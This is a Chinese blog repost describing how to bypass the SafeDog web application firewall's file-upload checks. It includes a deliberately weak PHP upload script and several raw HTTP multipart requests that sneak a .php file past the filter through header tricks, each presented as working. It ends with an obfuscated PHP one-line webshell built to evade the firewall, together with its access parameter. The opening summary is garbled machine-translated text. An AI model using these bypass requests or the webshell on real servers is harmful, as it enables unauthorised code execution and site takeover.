关于Safe DOG的文件上传bypass

摘要:
phpif{if{echo“错误:”.$_FILES[“file”][“Error”].“”;}else{$a=爆炸;$houzhui=array_pop($a);$tem_file=$_FILES[‘file’][‘tmp_name’];$new_file=“./uploads/”.date.rand.“.”.$houzhu;if{//如果移动成功,则输出上载成功。否则,临时文件将被移动到真实目录。通常,普通上载只过滤此MIME类型,这会导致许多上载漏洞。由于文件类型是可控的,因此您可以伪造数据包中的MIME类型并上载文件。您可以看到上载的数据包已被阻止,拦截的警报则返回消息。POST/upload.phpHTTP/1.1主机:19 2.168.1.103用户代理:Mozilla/5.0Gecko/20100101Firefox/51.0接受:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8接受语言:zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3接受编码:gzip,deflateRefer:http://192.168.1.103/Cookie:safedog-流项=0AECAC9EDC7261连接:保持活动升级不安全请求:1内容类型:多部分/表单数据;boundary=-------------------------3437176296980内容长度:344-------------------------3437176296950内容配置:表单数据;name=“file”;filename=“AutoLoad.class.php”内容类型:image/jpeg------------------------------3437176296980内容配置:表单数据;Name=“submit”提交----------------------------------3437176296980--第一猜,它可能直接采用文件名的值?安全狗可以获取该值,直接匹配与名为filename的密钥对应的值。

Author:倾旋
payloads@aliyun.com
本文由科拉实验室成员倾旋原创文章

Part 1 分析

此文主要研究安全狗的数据包分析功能,由于很多人都认为安全狗是通过正则去匹配的,那么暂且那么说吧。这款应用层的WAF的确在测试中让人头大。那么安全狗是如何分析我们的数据的呢?
在这里我做了一个拓扑图:

关于Safe DOG的文件上传bypass第1张

Part 2 测试过程
  • 测试系统:WINXP
  • 脚本语言:PHP5.4.45
  • WEB服务器:Apache/2.4.23(Win32)
  • 安全狗版本:3.5.12048

目前,用一个PHP上传文件的脚本来做上传测试。

该代码有进行修改。将前端的进行一个添加,还有就是他原本的代码不能够上传,没有将将临时文件进行复制。也就是:move_uploaded_file

<html>
<body>
    <form action="" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="MAX_FILE_SIZE" value="1000000">
    uplaod file:<input type="file" name="file" value="">
    <input type="submit" value="uplaod" name="file">
    </form>
</body>
</html>
<?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 2000000000))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Error: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    $a = explode(".",basename($_FILES['file']['name']));
    $houzhui = array_pop($a);
    $tem_file = $_FILES['file']['tmp_name'];
    $new_file = "./uploads/".date('ymdhis').rand(100,999).".".$houzhui;
    if(move_uploaded_file($tem_file,$new_file)){//如果移动成功就输出上传成功,否则失败,将临时文件移动到真正的目录。
    echo "<script>alert('成功上传')</script>";
    }
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Stored in: " . $new_file;
    }
  }
else
  {
  echo "Invalid file";
  }
?>

这个程序会根据MIME来判断文件是否是图片类型,如果不是就输出“Invalid file”该种的判断方式是存在绕过的,绕过MIME上传本博客相关文章:http://www.cnblogs.com/xishaonian/p/6415841.html

MIME类型常见的如下所示:

  • 超文本标记语言 .html .htm :Text/html
  • 普通文本 .txt:Text/plain
  • JPEG图形.jpeg .jpg: Image/jpeg

由于过多就不多举例了。

通常的普通上传一般只过滤这个MIME类型,由此引发了很多上传漏洞。既然能引发上传漏洞,那么根本的原因是什么呢?

就由于文件类型可控,所以可以伪造数据包中的MIME类型,上传文件。(由此我们可以看出,简单的判断MIME类型是远远不够的,还要限制文件扩展名)

我首先使用BurpSuite分析,抓取上传的数据包做测试。

关于Safe DOG的文件上传bypass第2张

可以看到已经拦截了上传的数据包,并且返回了拦截的警报信息。 
一般情况下,我都会手工去测试它的拦截方式,以及黑名单。
那么这个黑名单包含了哪些呢?
安全狗的黑名单:*.asa*.asp*.php*.asax*.aspx*.cer*.cdx*.cgi*.exe*.dll*.jsp*.asmx等等 
现在进入正题,分析我们数据包中的特征。

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 344

-----------------------------3437176296980
Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php"
Content-Type: image/jpeg



-----------------------------3437176296980
Content-Disposition: form-data; name="submit"

Submit
-----------------------------3437176296980--

第一个猜想,它可能会直接取filename的值?
(在HTTP协议中,也是键值对的结构。 Key=”Value ”;
[键]=“值”
此时filename=”test .php ”中的filename就是keytest.php就是值。

安全狗可能取的就是其中的值,直接匹配名为filename的键对应的值。

第二个猜想,它会匹配所有filename对应的值吗?
我们将:
Content-Disposition:form-data;name="file";filename="AutoLoad.class.php"
更改成
Content-Disposition:form-data;name="file";filename=”test.jpg”;filename="AutoLoad.class.php"

此时测试上传发现还是不行。

总结一下:它会取得所有的filename对应的值。

在之前我们就强调了格式:key=” value ”;我们把双引号去除,试一试?

关于Safe DOG的文件上传bypass第3张

此时上传成功。

原因:原生(未修改)的数据包filename为最后一个键,这个键对应的值是没有“;”的。但是http协议中,我们根据正规格式构造,安全狗就匹配不到filename的值。

再后来我发现还有更多的方法:

  • 花式剔除
  • 垃圾值填充
  • 大小写混淆
  • 上下文互换
  • ……还有很多办法,不一个一个举例了
Part 3 秀出姿势

花式剔除测试过程:

在上传数据包中,Content-Disposition: form-data;的意思是内容描述,form-data的意思是来自表单的数据,但是即使不写form-data,apache也接受。

关于Safe DOG的文件上传bypass第4张

也能够上传成功

Content-Disposition: ;这里留了一个空值。

在HTTP协议中,一个[列表名]:参数名=参数值,但是有的参数是没有参数值的。例如:form-data,Content-Length

当然也可以用垃圾填充,也就是HPP,名为HTTP参数污染,但是和HPP不太相同,权且叫垃圾填充吧。

关于Safe DOG的文件上传bypass第5张

也可以填入不相关的值:

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 364

-----------------------------3437176296980
Content-Disposition: AAAAAAAAAAAAAAA="BBBBBBBBBBBBBBBBBB" ; name="file"; filename="AutoLoad.class.php"
Content-Type: Content-Type: image/jpeg



-----------------------------3437176296980
Content-Disposition: form-data; name="submit"

Submit
-----------------------------3437176296980--

后续我就直接贴上数据包了,因为全部是成功Bypass的。

下面来看看大小写:
Content-Disposition:form-data;name="file"; filename="test.php" 
content-disposition:form-data;name="file"; filename="test.php" 
将列名改成小写也是可以被Apache接受的。

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 343

-----------------------------3437176296980
content-disposition: form-data; name="file"; filename="AutoLoad.class.php"
Content-Type: image/jpeg



-----------------------------3437176296980
Content-Disposition: form-data; name="submit"

Submit
-----------------------------3437176296980--

上下文互换测试过程:

我们发现在默认的上传文件数据包中,MIME类型是在内容描述后面的,我们将MIME类型放在内容描述之前也是可以绕过WAF:

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 343

-----------------------------3437176296980
Content-Type: image/jpeg
Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php"
Content-Type: image/jpeg



-----------------------------3437176296980
Content-Disposition: form-data; name="submit"

Submit
-----------------------------3437176296980--

后面我们发现只要在Content-Disposition上方插入任意字符,或者在form-data的位置放置任意字符,都可以绕过WAF....

当然,垃圾值也可以填充在默认数据包中的内容描述上方:

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 343

-----------------------------3437176296980
AAAAAAAA:filename="aaaaaaa.php";
Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php"
Content-Type: image/jpeg



-----------------------------3437176296980
Content-Disposition: form-data; name="submit"

Submit
-----------------------------3437176296980--
Part 4 分享

另外再附送一颗过狗一句话(PHP):

<?php
$p = array('f'=>'a',
#afffffffff
'pffff'=>'s'/*223* 1*/,
'e'=>'fffff',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(
'lfaaaa'=>'r',//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*$@&$@&(#*(;
'nnnnn'=>'t'//&$@&(#*(;
);//&$@&(#*(;
$a = array_keys($p);//9*9*5656
@$_=$p['pffff'].#/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/
$p['pffff'].$a[2];
@$_=#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p['f']./*-/*-*/$_.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p['lfaaaa'].$p['nnnnn'];#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@$_#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
($_REQUEST[#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
'username'#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
]);
?>
密码是username
Part 5 结尾

总之方式有很多,希望此篇文章能给大家有所帮助,打开脑洞,简单设想并加以实验,就可以得出结论!! 
本人提倡这样的学习方法! 欢迎加入科拉实验室,我们专注于为信息安全而做学问!

文章转载:http://blog.cora-lab.org/193.html

免责声明:文章转载自《关于Safe DOG的文件上传bypass》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇CSS3 实现DIV放大和缩小SQL语句汇总——数据修改、数据查询下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Flask--wtforms快速使用和表单验证(附示例)

一、Form类   表单提供WTForms中最高级别的API。它们包含您的字段定义,委托验证,获取输入,聚合错误,并且通常用作将所有内容组合在一起的粘合剂。 class wtforms.form.Form 声明式表格基类。 __init__(formdata=None, obj=None, prefix='', data=None, meta=None,...

JSR303实现数据校验案例

JSR303实现数据校验案例 1、导包 <!-- https://mvnrepository.com/artifact/org.hibernate/hibernate-validator --> <dependency> <groupId>org.hibernate</groupId>...

C# winform 登陆成功打开主form,同时关闭登陆form

设置 Application.Run(new Form1());其中form1为主窗口,然后在form1的load方法里面这样写: 代码 private void Form1_Load(object sender, EventArgs e)         {             Form f2 = new Form2();            ...

VUE Flask登录的初探-JWT的探索

上回简单实现了基于JWT的登录,并且留下了一些问题,jwt天生的弊端。本次用某些逻辑解决jwt的弊端 先列举jwt可能遇到的问题: 1.注销问题,当客户端注销登录后,token在有效期内依然有效,实际上从服务端无法让token失效2.修改密码,当用户修改了密码,按常规需要让前次token失效。3.续签问题,jwt虽然有超时机制,但没有实现自动续签。 为了解...

微信公众平台开发教程(二) 基本原理及消息接口

微信公众平台开发教程(二) 基本原理及消息接口 一、基本原理 在开始做之前,大家可能对这个很感兴趣,但是又比较茫然。是不是很复杂?很难学啊? 其实恰恰相反,很简单。为了打消大家的顾虑,先简单介绍了微信公众平台的基本原理。 微信服务器就相当于一个转发服务器,终端(手机、Pad等)发起请求至微信服务器,微信服务器,然后将请求转发给自定义服务(这就里就是我们的具...

vue+element-ui 实现数据的增删改查以及分页(举例新增学生)

1.首先获取所有的学生信息并显示在表格上,进行分页。 后台要求传的参数: 后台接口封装: element-ui创建数据。必须有HTML表格 <el-table :data="studentData" border style=" 100%"> <el-table-column prop="id" label="学号"></...